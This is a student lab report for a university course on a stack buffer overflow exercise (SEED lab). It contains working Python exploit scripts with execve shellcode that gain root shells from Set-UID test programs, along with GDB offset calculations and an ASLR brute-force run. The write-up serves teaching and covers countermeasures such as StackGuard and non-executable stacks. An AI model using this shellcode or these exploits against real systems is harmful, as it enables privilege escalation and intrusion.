Sistemas de Segurança de Computação

Trabalho Prático 2 - buffer overflow

Daniel Andrade
PG60242

João Fonseca
PG59787

Pedro Malainho
PG61005

Universidade do Minho
Escola de Engenharia
Departamento de Informática

Novembro 2025

Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for us to gain practical insights into this type of vulnerability, and learn how to exploit this particular vulnerability in attacks as well as to how better protect ourselves from it.

Environment Setup

1.1 Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow at tack difficult.

To simplify our attacks, we first disable them.

```
12/07/25]seed@VM:~/.../code$ sudo sysctl -w kernel.randomize_va_space=0
ernel.randomize_va_space = 0
12/07/25]seed@VM:~/.../code$ sudo ln -sf /bin/zsh /bin/sh
12/07/25]seed@VM:~/.../code$
```

Figure 1: Disabling security countermeasures

Task 1 - Invoking the Shellcode

The binaries generated by the Makefile are intended for two different architectures: 32-bit and 64-bit. Depending on the architecture of the operating system, only one of these binaries will execute correctly.
The shellcode differs between the two architectures; therefore, this distinction must be taken into consideration by an attacker when constructing shellcode.

```
[12/07/25]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[12/07/25]seed@VM:~/.../shellcode$ ls
Makefile  a32.out  a64.out  call_shellcode.c
[12/07/25]seed@VM:~/.../shellcode$ ./a32.out
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ exit
[12/07/25]seed@VM:~/.../shellcode$
```

Figure 2: Invoking Shellcode demonstration

Task 3 - Launching Attack on 32-bit Program (Level 1)

By placing a breakpoint inside the bof(…) function, execution enters the function's stack frame, where the %ebp register points to the top of that frame. Based on this information, it is possible to determine the amount of data required to overflow the buffer, since this stack frame contains only a single local variable (buffer).

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Labsetup/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcf08 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffd2f0 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffd2f8 --> 0xffffd528 --> 0x0
ESP: 0xffffceec --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x74
[-------------------------------------stack-------------------------------------]
0000| 0xffffceec --> 0x565563ee (<dummy_function+62>:   add    esp,0x10)
0004| 0xffffcef0 --> 0xffffd313 --> 0x456
0008| 0xffffcef4 --> 0x0
0012| 0xffffcef8 --> 0x3e8
0016| 0xffffcefc --> 0x565563c3 (<dummy_function+19>:   add    eax,0x2bf5)
0020| 0xffffcf00 --> 0x0
0024| 0xffffcf04 --> 0x0
0028| 0xffffcf08 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffd313 "V\004") at stack.c:16
16      {
```

Figure 3: GDB Breakpoint in bof function

Task 3 - Launching Attack on 32-bit Program (Level 1) - Continuation

Using GDB, the required offset can be calculated by examining the value of the %ebp register and the address of &buffer. As a result, the buffer must be filled with 108 + 4 bytes, given that the return address is preceded by the saved frame pointer of the calling function.

```
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffd2f0 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcee8 --> 0xffffd2f8 --> 0xffffd528 --> 0x0
ESP: 0xffffce70 ("1pUV\004\323\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
   0x565562cc <bof+31>: mov    ebx,eax
[-------------------------------------stack-------------------------------------]
0000| 0xffffce70 ("1pUV\004\323\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004| 0xffffce74 --> 0xffffd304 --> 0x0
0008| 0xffffce78 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffce7c --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffce80 --> 0x0
0020| 0xffffce84 --> 0x0
0024| 0xffffce88 --> 0x0
0028| 0xffffce8c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcee8
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffce7c
gdb-peda$ p/d 0xffffcee8 - 0xffffce7c
$3 = 108
```

Figure 4: GDB required offset

Task 3 - Launching Attack on 32-bit Program (Level 1) - Launching Attack

We all the previously acquired information, we can now explore **exploit.py**. First, we need to change the necessary variables on this python code, tis includes the **shellcode**, **start**, **return** and **offset**. Then, it is a matter of running the exploit.py, which will fill the badfile which then will be used in execution of stack-L1 and gain root shell. As you can see on Figure 6, badfile size is now 517 and, when we run **./stack-L1**, we get root access as intended.

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcee8 + 100          # Change this number
offset = 112               # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Figure 5: Exploit code used

```
[12/07/25]seed@VM:~/.../code$ ./exploit.py
[12/07/25]seed@VM:~/.../code$ ls -l
total 176
-rw-rw-r-- 1 seed seed   965 Dec  7 06:12 Makefile
-rw-rw-r-- 1 seed seed   517 Dec  7 12:06 badfile
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-force.sh
-rwxrwxr-x 1 seed seed   983 Dec  7 12:06 exploit.py
-rw-rw-r-- 1 seed seed    11 Dec  7 11:59 peda-session-stack-L1-dbg.txt
-rwsr-xr-x 1 root seed 15908 Dec  7 11:58 stack-L1
-rwxrwxr-x 1 seed seed 18684 Dec  7 11:58 stack-L1-dbg
-rwsr-xr-x 1 root seed 15908 Dec  7 11:58 stack-L2
-rwxrwxr-x 1 seed seed 18684 Dec  7 11:58 stack-L2-dbg
-rwsr-xr-x 1 root seed 17112 Dec  7 11:58 stack-L3
-rwxrwxr-x 1 seed seed 20104 Dec  7 11:58 stack-L3-dbg
-rwsr-xr-x 1 root seed 17112 Dec  7 11:58 stack-L4
-rwxrwxr-x 1 seed seed 20104 Dec  7 11:58 stack-L4-dbg
-rw-rw-r-- 1 seed seed  1132 Dec  7 06:05 stack.c
[12/07/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
#
```

Figure 6: Exploitation and getting root control

Task 4 - Task 4 - Launching Attack without knowing Buffer Size (Level 2)

In level 2 we have to gain root access through the same method without knowing the buffer size, we only have the buffer range which is from 100 to 200 bytes. To achieve that, we follow the same steps taken on Level 1, we create a breakpoint at **bof** function, obtain the buffer address and edit the python exploit. Once again, by running **./stack-L2** this time, it is possible to get access to a root shell (Figure 8).

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
#start = 400               # Change this number
content[517 - len(shellcode):] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffce40 + 300           # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(50):
    content[offset*L:offset*4 + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Figure 7: Exploit code used

```
[12/07/25]seed@VM:~/.../code$ ./exploit.py
[12/07/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# whoami
root
#
```

Figure 8: Exploitation and getting root control

Task 7 - Defeating dash's Countermeasure

This task focuses on how the dash shell drops privileges inside a Set-UID program. After restoring **/bin/sh** to point to **/bin/dash**, the shellcode is updated to call **setuid(0)** before invoking **execve** function. Setting the real UID to zero prevents dash from discarding privileges, allowing the exploit to launch a root shell. This demonstrates how privilege-dropping logic can be bypassed when attackers can run arbitrary code in a Set-UID context.

```
[12/08/25]seed@VM:~/.../shellcode$ ./a32.out
# whoami
root
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plug
dev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      8 Dec  7 12:40 /bin/sh -> /bin/zsh
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
# exit
```

Figure 9: Root shell with dash's Countermeasure

```
[12/08/25]seed@VM:~/.../code$ ./exploit.py
[12/08/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
  ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      8 Dec  7 12:40 /bin/sh -> /bin/zsh
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plug
dev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
```

Figure 10: Root shell with dash's Countermeasure

Task 8 - Defeating Address Randomization

This task examines the impact of Address Space Layout Randomization (ASLR) on 32-bit exploitation. With ASLR enabled, the return address used in the payload changes unpredictably, causing the original attack to fail. Because the 32-bit stack has limited entropy, a brute-force script can repeatedly run the vulnerable program until the guessed address aligns with the randomized stack location. The task shows that ASLR complicates exploitation but can still be defeated through repeated attempts on low-entropy systems.

```
[12/08/25]seed@VM:~/.../code$ vim exploit.py
[12/08/25]seed@VM:~/.../code$  sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[12/08/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
```

Figure 11: Segmentation Fault with Address

```
The program has been running 28083 times so far.
Input size: 517
./brute-force.sh: line 14: 69088 Segmentation fault      ./stack-L1
5 minutes and 9 seconds elapsed.
The program has been running 28084 times so far.
Input size: 517
./brute-force.sh: line 14: 69089 Segmentation fault      ./stack-L1
5 minutes and 9 seconds elapsed.
The program has been running 28085 times so far.
Input size: 517
./brute-force.sh: line 14: 69090 Segmentation fault      ./stack-L1
5 minutes and 9 seconds elapsed.
The program has been running 28086 times so far.
Input size: 517
./brute-force.sh: line 14: 69091 Segmentation fault      ./stack-L1
5 minutes and 9 seconds elapsed.
The program has been running 28087 times so far.
Input size: 517
#
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plug
dev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

Figure 12: Root shell with Address Randomization

Task 9 - Experimenting with Other Countermeasures

Task 9.a - Turn On the StackGuard Protection

This part explores **StackGuard**, which inserts canaries to detect stack corruption. Recompiling the vulnerable program without disabling StackGuard causes buffer overwrites to trigger canary checks, terminating the program before control flow can be hijacked. The task highlights why canary-based protection effectively blocks simple stack-smashing attacks.

```
[12/08/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

Figure 13: Stack Smashing Detected with StackGuard On

Task 9.b - Turn On the Non-executable Stack Protection

This part investigates the effect of marking the stack non-executable. Rebuilding the shellcode test program without the "-z execstack" flag prevents code stored on the stack from executing, causing the shellcode to fail immediately. This illustrates how non-executable stacks stop direct code-injection attacks, motivating alternative techniques such as **return-to-libc**.

```
[12/08/25]seed@VM:~/.../shellcode$ make
gcc -m32  -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[12/08/25]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[12/08/25]seed@VM:~/.../shellcode$ vim Makefile
[12/08/25]seed@VM:~/.../shellcode$ make clean
rm -f a32.out a64.out *.o
[12/08/25]seed@VM:~/.../shellcode$ make
gcc -m32  -z execstack  -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
^[[A^[[A[12/08/25]seed@VM:~/.../shellcode$ ./a32.out
$
```

Figure 14: Segmentation Fault with Non-executable Stack On